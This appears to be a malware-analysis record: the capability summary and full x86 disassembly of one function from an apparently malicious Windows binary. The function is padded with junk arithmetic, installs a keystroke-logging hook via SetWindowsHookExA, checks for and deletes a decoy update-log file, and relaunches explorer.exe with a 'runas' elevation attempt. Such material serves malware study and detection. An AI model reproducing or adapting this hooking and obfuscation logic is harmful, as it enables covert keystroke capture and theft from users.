Function at 0x412150
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.004305f0
mov eax, dword [0x45e640]
mov dword [esp + 0x1068], eax
push ebx
push esi
push edi
mov ebx, dword [0x45cccc]
mov esi, dword [0x45ccd4]
mov eax, 0x98dd629f
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0xd3c7
add eax, edx
mov dword [esp + 0xc], eax
mov eax, 0x61494a93
imul esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
sub edx, eax
mov dword [esp + 0xc], edx
mov eax, 0x61494a93
imul ebx
mov eax, dword [esp + 0xc]
mov ebx, dword [0x45ccdc]
sar edx, 0xf
add eax, edx
mov esi, edx
mov edx, ebx
imul edx, edx, 0xd082
shr esi, 0x1f
add esi, eax
add esi, edx
mov eax, 0x5cb3b92f
imul dword [0x45cccc]
mov edi, dword [0x45cce8]
mov ecx, edi
imul ecx, ecx, 0xdaea
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp + 8]
add esi, ecx
cmp eax, 0x132b600
mov dword [esp + 0x14], 0
mov dword [str._r_____r____], esi
je 0x4122b7
mov esi, dword [0x45ccd8]
mov eax, 0x5134ce4f
imul esi
imul esi, esi, 0x150d2
sar edx, 0xd
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x61494a93
imul ebx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0xd082
add edi, esi
sub edi, eax
add edi, edx
mov edx, dword [0x45ccd0]
mov eax, 0x79b0bfed
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, dword [0x45cce4]
lea ecx, [edi + ecx - 0x64e1]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x45ccd0], ecx
mov esi, 0x64
push 0x3e8
call edi
dec esi
jne 0x412298
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042fdb1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [0x45ccd0]
imul ebx, ebx, 0x64e1
mov eax, dword [0x45cccc]
add eax, edx
mov ecx, dword [0x45cce4]
imul eax, eax, 0xb0bd
add eax, ebx
mov ebx, eax
mov eax, 0x98dd629f
imul ecx
add edx, ecx
sar edx, 0xf
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov dword [esp + 0xc], eax
mov eax, 0x61494a93
imul ecx
mov eax, dword [esp + 0xc]
sar edx, 0xf
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x4e93cfed
imul dword [0x45cccc]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x10171
sub ebx, eax
mov eax, dword [section.dfsaewr4]
add ebx, edx
test eax, eax
mov dword [0x45ccdc], ebx
je 0x4123cd
mov esi, dword [0x45ccd0]
mov edi, dword [0x45ccc8]
imul edi, edi, 0x64e1
mov eax, 0x5134ce4f
imul esi
sar edx, 0xd
add edi, edx
mov ebx, edx
mov eax, 0x9aba81d9
imul esi
add edx, esi
sar edx, 0xf
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov edi, edx
mov eax, 0x4e93cfed
imul ecx
sar edx, 0xe
shr edi, 0x1f
mov eax, edx
shr eax, 0x1f
add eax, edx
add edi, ebx
sub edi, eax
mov eax, dword [0x45cce0]
imul eax, eax, 0x2a2d
add edi, eax
mov eax, 0x1fd2221d
imul esi
sar edx, 0xd
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
mov dword [0x45ccc8], ecx
mov eax, 1
mov ecx, dword [esp + 0x1074]
call fcn.0042fdb1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [0x45ccd8]
add esi, edx
mov eax, 0x98dd629f
imul esi, esi, 0xd082
imul ebx
add edx, ebx
sar edx, 0xf
add esi, edx
mov eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0xd65c
shr eax, 0x1f
add eax, esi
add eax, edx
mov edx, ebx
imul edx, edx, 0xd3c7
add eax, edx
mov esi, eax
mov eax, 0x8891a35
imul ebx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
sub esi, eax
lea esi, [esi + edx - 0x64e1]
mov dword [0x45ccd4], esi
mov eax, dword [0x45ccd0]
imul ebx, ebx, 0x64e1
add eax, edi
imul eax, eax, 0x86a3
sub eax, ebx
mov edx, esi
imul edx, edx, 0xdaea
sub eax, edx
mov dword [esp + 0xc], eax
mov eax, 0x5cb3b92f
imul edi
mov eax, dword [esp + 0xc]
sar edx, 0xe
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x79b0bfed
imul dword [0x45cccc]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccd8]
imul edx, edx, 0x10171
sub ebx, eax
mov eax, dword [ebp + 0x10]
add ebx, edx
test eax, eax
mov dword [0x45cce0], ebx
jg 0x4125d7
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x4125d7
lea edx, [eax + 1]
mov dword [esp + 0xc], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4124b2
sub eax, dword [esp + 0xc]
mov dword [esp + 0x10], eax
je 0x4125d7
imul ecx, ecx, 0x64e1
imul edi, edi, 0xdaea
imul ebx, ebx, 0xd3c7
mov eax, 0x98dd629f
imul esi
sub ecx, edi
add edx, esi
sar edx, 0xf
add ecx, edx
mov edi, edx
mov eax, 0x4e93cfed
imul esi
shr edi, 0x1f
add edi, ecx
sar edx, 0xe
add edi, ebx
mov ebx, dword [str._r_____r____]
mov ecx, edx
add edi, edx
mov eax, 0x8891a35
imul dword [0x45cccc]
shr ecx, 0x1f
sar edx, 9
add ecx, edi
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
mov ecx, dword [ebp + 0x14]
sub eax, ebx
push ecx
add eax, 0x86a3
push 0
mov dword [0x45cccc], eax
call fcn.0040f100
mov ebx, eax
add esp, 8
test ebx, ebx
jle 0x413149
mov ecx, dword [0x45ccd8]
mov edx, dword [0x45ccc8]
mov esi, dword [0x45ccd4]
lea edi, [edx + esi]
mov eax, 0x98dd629f
imul edi, edi, 0x3bfc
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0xd65c
sub edi, eax
add edi, edx
mov edx, dword [0x45cce4]
mov eax, 0x61494a93
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x5cb3b92f
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x79b0bfed
imul dword [str._r_____r____]
sar edx, 0xe
sub edi, ecx
mov ecx, dword [0x45cce8]
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov dword [0x45cce4], eax
jmp 0x41264c
mov edi, dword [0x45ccd0]
imul ecx, ecx, 0x64e1
mov edx, dword [0x45ccd8]
lea ebx, [edx + edi]
imul edi, edi, 0xd65c
imul ebx, ebx, 0xd3c7
sub ebx, ecx
mov ecx, dword [0x45ccc8]
mov eax, 0x98dd629f
imul ecx
add edx, ecx
sar edx, 0xf
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
sub eax, edi
mov ebx, eax
mov eax, 0x8891a35
imul ecx
sar edx, 9
add ebx, edx
mov ecx, edx
mov eax, 0x1fd2221d
imul dword [str._r_____r____]
sar edx, 0xd
mov eax, edx
shr ecx, 0x1f
shr eax, 0x1f
add ecx, ebx
mov ebx, dword [ebp + 0x10]
add eax, edx
sub ecx, eax
mov dword [0x45cce8], ecx
mov eax, 0x98dd629f
imul ecx, ecx, 0xdaea
imul esi
add edx, esi
sar edx, 0xf
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x45cccc]
mov edx, ecx
imul edx, edx, 0xd3c7
add eax, edx
mov dword [esp + 0xc], eax
mov eax, 0x61494a93
imul esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
sub edx, eax
mov edi, dword [0x45ccdc]
mov dword [esp + 0xc], edx
imul edi, edi, 0xd082
mov eax, 0x61494a93
imul ecx
mov eax, dword [esp + 0xc]
sar edx, 0xf
mov esi, edx
add eax, edx
shr esi, 0x1f
add esi, eax
mov eax, 0x5cb3b92f
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add esi, edi
sub esi, ecx
push str.c:WINDoWSKB5445243.log
mov dword [str._r_____r____], esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45ccc8]
imul esi, esi, 0x64e1
mov eax, 0x5134ce4f
imul ecx
sar edx, 0xd
add esi, edx
mov edi, edx
mov eax, 0x9aba81d9
imul ecx
add edx, ecx
sar edx, 0xf
shr edi, 0x1f
add edi, esi
add edi, edx
mov esi, edx
mov edx, dword [0x45cce4]
mov eax, 0x4e93cfed
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x2a2d
shr esi, 0x1f
add esi, edi
sub esi, eax
add esi, edx
mov eax, 0x1fd2221d
imul ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov dword [0x45ccc8], eax
mov ecx, dword [0x5707ec]
mov edx, dword [ebp + 0xc]
push ebx
push ecx
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push edx
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.dfsaewr4], eax
je 0x4131e7
mov esi, dword [0x45ccd8]
mov edi, dword [0x45cce8]
mov eax, 0x5134ce4f
imul esi
sar edx, 0xd
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, edi
imul eax, eax, 0xdaea
add ecx, eax
mov ebx, dword [0x45ccc8]
mov edx, esi
imul edx, edx, 0x150d2
add ecx, edx
mov eax, 0x61494a93
imul dword [0x45ccdc]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0xd082
sub ecx, eax
add ecx, edx
mov edx, dword [0x45ccd0]
mov eax, 0x79b0bfed
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce4]
sub ecx, eax
sub ecx, edx
sub ecx, 0x64e1
mov dword [0x5707f0], 1
mov dword [esp + 0xc], 0
jmp 0x412830
mov edi, dword [0x45cce8]
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45ccd8]
mov ebx, dword [0x45ccc8]
jmp 0x412830
mov eax, 0x5134ce4f
imul edi, edi, 0xdaea
imul ebx, ebx, 0xd082
imul esi
imul esi, esi, 0x150d2
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, edi
add eax, esi
mov dword [esp + 0x10], eax
mov eax, 0x61494a93
imul dword [0x45ccdc]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
mov edi, dword [0x45cce4]
sub edx, eax
add edx, ebx
mov dword [esp + 0x10], edx
mov eax, 0x79b0bfed
imul ecx
mov eax, dword [esp + 0x10]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
sub eax, edi
sub eax, 0x64e1
push str.c:WINDoWSKB5445243.log
mov dword [0x45ccd0], eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x4128d1
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0xc]
inc eax
cmp eax, 0x12c
mov dword [esp + 0xc], eax
jl 0x41280f
mov esi, dword [0x45cce8]
mov edi, dword [0x45ccd4]
mov eax, 0x95af2ed3
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov ecx, esi
imul ecx, ecx, 0x64e1
sub ebx, ecx
mov ecx, dword [0x45ccc8]
mov eax, 0x98dd629f
imul ecx, ecx, 0xd65c
imul edi
add edx, edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
add ebx, ecx
sub ebx, eax
mov eax, 0x9aba81d9
imul esi
add edx, esi
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x45cce0]
mov eax, 0x8891a35
imul ecx
sar edx, 9
add ebx, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0x3bfc
shr eax, 0x1f
add eax, ebx
add eax, edx
mov dword [0x45ccd8], eax
cmp dword [esp + 0xc], 0x12c
jl 0x41327d
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x41327d
mov edi, dword [0x45cccc]
imul ecx, ecx, 0x10171
mov eax, dword [0x45ccd0]
mov edx, dword [0x45ccdc]
mov esi, dword [0x45cce4]
imul edx, edx, 0x64e1
lea ebx, [eax + edi]
imul ebx, ebx, 0xb0bd
add ebx, edx
mov eax, 0x98dd629f
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov ebx, eax
mov eax, 0x61494a93
imul esi
sar edx, 0xf
mov esi, edx
add ebx, edx
mov eax, 0x4e93cfed
imul edi
sar edx, 0xe
mov eax, edx
shr esi, 0x1f
shr eax, 0x1f
add esi, ebx
add eax, edx
sub esi, eax
add esi, ecx
push 0x800
lea ecx, [esp + 0x74]
push ecx
mov dword [0x45ccdc], esi
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x45cce8]
mov edx, dword [0x45ccd0]
mov eax, dword [0x45ccdc]
lea esi, [edx + ecx]
imul eax, eax, 0x64e1
mov edx, dword [0x45ccd4]
imul esi, esi, 0x86a3
imul edx, edx, 0xdaea
sub esi, eax
sub esi, edx
mov eax, 0x5cb3b92f
imul ecx
mov ecx, dword [0x45cccc]
sar edx, 0xe
mov edi, edx
add esi, edx
mov eax, 0x79b0bfed
imul ecx
mov ecx, dword [0x45ccd8]
sar edx, 0xe
imul ecx, ecx, 0x10171
mov eax, edx
shr eax, 0x1f
add eax, edx
shr edi, 0x1f
lea edx, [esp + 0x70]
add edi, esi
push edx
sub edi, eax
lea eax, [esp + 0x874]
add edi, ecx
push str._sexplorer.exe
push eax
mov dword [0x45cce0], edi
call fcn.0042ff81
lea ecx, [esp + 0x87c]
push 0
push ecx
call fcn.0043031d
add esp, 0x14
cmp eax, 0xffffffff
je 0x413047
mov edx, dword [0x45ccd4]
mov eax, dword [0x45ccc8]
mov ecx, dword [0x45ccd8]
lea edi, [eax + edx]
mov esi, dword [str._r_____r____]
imul edi, edi, 0x3bfc
mov eax, 0x98dd629f
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov edx, esi
imul edx, edx, 0xd65c
add edi, edx
mov edx, dword [0x45cce4]
mov eax, 0x61494a93
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x5cb3b92f
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x79b0bfed
imul esi
sar edx, 0xe
sub edi, ecx
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
push str.explorer.exe
mov dword [0x45cce4], eax
call fcn.004064e0
mov ecx, dword [0x45ccd0]
mov edx, dword [0x45ccd8]
mov eax, dword [0x45cce4]
mov esi, dword [0x45ccc8]
imul eax, eax, 0x64e1
lea edi, [edx + ecx]
imul ecx, ecx, 0xd65c
imul edi, edi, 0xd3c7
sub edi, eax
mov eax, 0x98dd629f
imul esi
add edx, esi
sar edx, 0xf
add edi, edx
mov ebx, edx
mov eax, 0x8891a35
imul esi
shr ebx, 0x1f
sar edx, 9
add ebx, edi
sub ebx, ecx
add ebx, edx
mov ecx, edx
mov edx, dword [str._r_____r____]
mov eax, 0x1fd2221d
imul edx
sar edx, 0xd
mov eax, edx
shr ecx, 0x1f
shr eax, 0x1f
add ecx, ebx
add eax, edx
add esp, 4
sub ecx, eax
mov dword [0x45cce8], ecx
mov dword [esp + 0xc], 5
jmp 0x412bc0
mov ecx, dword [0x45cce8]
lea ebx, [ebx]
mov esi, dword [0x45ccd4]
imul ecx, ecx, 0xdaea
mov eax, 0x98dd629f
imul esi
add edx, esi
sar edx, 0xf
mov edi, edx
add ecx, edx
shr edi, 0x1f
add edi, ecx
mov ecx, dword [0x45cccc]
mov edx, ecx
imul edx, edx, 0xd3c7
add edi, edx
mov eax, 0x61494a93
imul esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x61494a93
imul ecx
sar edx, 0xf
mov esi, edx
add edi, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0xd082
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x5cb3b92f
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push str.explorer.exe
mov dword [str._r_____r____], esi
call fcn.00405eb0
add esp, 4
test eax, eax
jg 0x412fb1
mov ebx, dword [0x45ccd0]
mov ecx, dword [0x45ccc8]
imul ecx, ecx, 0x64e1
mov eax, 0x5134ce4f
imul ebx
sar edx, 0xd
add ecx, edx
mov esi, edx
mov eax, 0x9aba81d9
imul ebx
add edx, ebx
sar edx, 0xf
shr esi, 0x1f
add esi, ecx
add esi, edx
mov ecx, edx
mov eax, 0x4e93cfed
imul dword [0x45cce4]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x2a2d
shr ecx, 0x1f
add ecx, esi
sub ecx, eax
add ecx, edx
mov eax, 0x1fd2221d
imul ebx
xor eax, eax
sar edx, 0xd
add ecx, edx
mov esi, edx
shr esi, 0x1f
add esi, ecx
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov edi, dword [0x45cce4]
mov eax, 0x98dd629f
imul edi, edi, 0x64e1
imul dword [0x45ccd4]
add edx, dword [0x45ccd4]
sar edx, 0xf
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, dword [0x45cce0]
imul eax, eax, 0xd3c7
add edi, eax
mov ecx, dword [0x45cce8]
mov eax, 0x4e93cfed
imul ecx, ecx, 0xdaea
imul dword [0x45ccd4]
sar edx, 0xe
add edi, edx
mov eax, edx
mov edx, dword [0x45cccc]
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x8891a35
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov edi, dword [str._r_____r____]
sub eax, ecx
sub eax, edi
add eax, 0x86a3
mov dword [0x45ccc8], esi
mov dword [esp + 0x18], 0x44
mov dword [0x45cccc], eax
mov edi, dword [0x45ccd8]
imul esi, esi, 0xd082
mov eax, 0x5134ce4f
imul edi
imul edi, edi, 0x150d2
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccdc]
add eax, edi
mov dword [esp + 0x10], eax
mov eax, 0x61494a93
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
sub edx, eax
add edx, esi
mov dword [esp + 0x10], edx
mov eax, 0x79b0bfed
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
sub edx, eax
sub edx, dword [0x45cce4]
lea ecx, [edx + ecx - 0x64e1]
lea edx, [esp + 0x60]
push edx
lea eax, [esp + 0x1c]
push eax
mov dword [0x45ccd0], ecx
lea ecx, [esp + 0x78]
push ecx
push 0
push 0x20
push 0
push 0
push 0
lea edx, [esp + 0x890]
push edx
push 0
mov dword [esp + 0x6c], 1
mov word [esp + 0x70], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x412e8a
mov esi, dword [0x45ccdc]
mov edi, dword [str._r_____r____]
mov ecx, dword [0x45ccd8]
mov eax, 0x98dd629f
imul esi
lea ebx, [ecx + edi]
imul edi, edi, 0xd65c
imul ebx, ebx, 0xd082
add edx, esi
sar edx, 0xf
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov edx, esi
imul edx, edx, 0xd3c7
add eax, edi
add eax, edx
mov ebx, eax
mov eax, 0x8891a35
imul esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
sub ebx, eax
lea eax, [ebx + edx - 0x64e1]
mov dword [0x45ccd4], eax
jmp 0x412fb7
mov ecx, dword [0x45cce8]
mov eax, 0x95af2ed3
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
mov esi, ecx
imul edx, edx, 0xd65c
mov edi, eax
imul esi, esi, 0x64e1
sub edi, esi
mov esi, dword [0x45ccd4]
add edi, edx
mov eax, 0x98dd629f
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9aba81d9
imul ecx
add edx, ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x45cce0]
mov eax, 0x8891a35
imul ecx
imul ecx, ecx, 0x3bfc
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edi, edx
push 1
add eax, edi
add eax, ecx
lea ecx, [esp + 0x74]
push ecx
push 0
lea edx, [esp + 0x87c]
push edx
push str.runas
push 0
mov dword [0x45ccd8], eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x4130d2
mov ecx, dword [0x45cccc]
mov eax, dword [0x45ccd0]
mov edx, dword [0x45ccdc]
mov esi, dword [0x45cce4]
imul edx, edx, 0x64e1
lea edi, [eax + ecx]
imul edi, edi, 0xb0bd
add edi, edx
mov eax, 0x98dd629f
imul esi
add edx, esi
sar edx, 0xf
add edi, edx
mov ebx, edx
mov eax, 0x61494a93
imul esi
shr ebx, 0x1f
sar edx, 0xf
add ebx, edi
add ebx, edx
mov esi, edx
mov eax, 0x4e93cfed
imul ecx
mov ecx, dword [0x45cce0]
sar edx, 0xe
imul ecx, ecx, 0x10171
shr esi, 0x1f
mov eax, edx
shr eax, 0x1f
add esi, ebx
add eax, edx
sub esi, eax
add esi, ecx
mov dword [0x45ccdc], esi
mov ecx, dword [0x45ccd8]
mov eax, dword [0x45ccc8]
mov edx, dword [0x45ccd4]
lea edi, [eax + edx]
mov esi, dword [str._r_____r____]
imul edi, edi, 0x3bfc
mov eax, 0x98dd629f
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov edx, esi
imul edx, edx, 0xd65c
add edi, edx
mov eax, 0x61494a93
imul dword [0x45cce4]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x5cb3b92f
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x79b0bfed
imul esi
sar edx, 0xe
sub edi, ecx
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
push 0x3e8
mov dword [0x45cce4], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0xc]
jne 0x412bb4
mov ecx, dword [0x45ccd8]
mov edi, dword [0x45ccd0]
mov esi, dword [0x45ccc8]
lea ebx, [ecx + edi]
imul edi, edi, 0xd65c
mov ecx, dword [0x45cce4]
imul ebx, ebx, 0xd3c7
mov edx, ecx
imul edx, edx, 0x64e1
sub ebx, edx
mov eax, 0x98dd629f
imul esi
add edx, esi
sar edx, 0xf
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
sub eax, edi
mov ebx, eax
mov eax, 0x8891a35
imul esi
mov esi, dword [0x45ccd4]
sar edx, 9
add ebx, edx
mov edi, edx
mov eax, 0x1fd2221d
imul dword [str._r_____r____]
sar edx, 0xd
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add edi, ebx
mov ebx, dword [0x45ccdc]
add eax, edx
sub edi, eax
mov dword [0x45cce8], edi
jmp 0x412430
mov ecx, dword [0x45cce8]
mov edx, dword [0x45ccd0]
mov eax, dword [0x45ccdc]
lea esi, [edx + ecx]
imul eax, eax, 0x64e1
mov edx, dword [0x45ccd4]
imul esi, esi, 0x86a3
imul edx, edx, 0xdaea
sub esi, eax
sub esi, edx
mov eax, 0x5cb3b92f
imul ecx
mov ecx, dword [0x45cccc]
sar edx, 0xe
add esi, edx
mov edi, edx
mov eax, 0x79b0bfed
imul ecx
mov ecx, dword [0x45ccd8]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x10171
shr edi, 0x1f
add edi, esi
sub edi, eax
add edi, edx
mov dword [0x45cce0], edi
jmp 0x412fb7
mov ecx, dword [0x45cce8]
mov eax, 0x95af2ed3
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
mov esi, ecx
imul edx, edx, 0xd65c
mov edi, eax
imul esi, esi, 0x64e1
sub edi, esi
mov esi, dword [0x45ccd4]
add edi, edx
mov eax, 0x98dd629f
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9aba81d9
imul ecx
add edx, ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x45cce0]
mov eax, 0x8891a35
imul ecx
imul ecx, ecx, 0x3bfc
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
add eax, ecx
mov dword [0x45ccd8], eax
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042fdb1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [0x45cce4]
mov ecx, dword [0x45cce8]
imul esi, esi, 0x64e1
imul ecx, ecx, 0xdaea
sub esi, ecx
mov ecx, dword [0x45ccd4]
mov eax, 0x98dd629f
imul ecx
add edx, ecx
sar edx, 0xf
add esi, edx
mov edi, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0xd3c7
shr edi, 0x1f
add edi, esi
add edi, edx
mov eax, 0x4e93cfed
imul ecx
mov ecx, dword [0x45cccc]
sar edx, 0xe
add edi, edx
mov esi, edx
mov eax, 0x8891a35
imul ecx
sar edx, 9
shr esi, 0x1f
add esi, edi
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [str._r_____r____]
add eax, esi
sub eax, edx
add eax, 0x86a3
mov dword [0x45cccc], eax
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042fdb1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x45cccc]
imul esi, esi, 0xdaea
mov eax, 0x98dd629f
imul edi
add edx, edi
sar edx, 0xf
add esi, edx
mov ebx, edx
mov edx, ecx
imul edx, edx, 0xd3c7
shr ebx, 0x1f
add ebx, esi
add ebx, edx
mov eax, 0x61494a93
imul edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x61494a93
imul ecx
sar edx, 0xf
add ebx, edx
mov esi, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0xd082
shr esi, 0x1f
add esi, ebx
add esi, edx
mov eax, 0x5cb3b92f
imul ecx
mov ecx, dword [esp + 0x1074]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov dword [str._r_____r____], esi
mov eax, 1
call fcn.0042fdb1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret